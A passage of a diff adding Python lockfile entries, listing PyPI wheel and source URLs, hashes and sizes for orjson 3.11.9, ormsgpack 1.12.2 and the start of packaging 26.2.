+    { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" },
+    { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" },
+    { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" },
+    { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" },
+    { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" },
+    { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" },
+    { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" },
+    { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" },
+    { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" },
+    { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" },
+    { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" },
+    { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" },
+    { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" },
+    { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" },
+    { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" },
+    { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" },
+    { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" },
+    { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" },
+]
+
+[[package]]
+name = "ormsgpack"
+version = "1.12.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" },
+    { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" },
+    { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" },
+    { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" },
+    { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" },
+    { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" },
+    { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" },
+    { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" },
+    { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" },
+    { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" },
+    { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" },
+    { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" },
+    { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" },
+    { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" }
+wheels = [
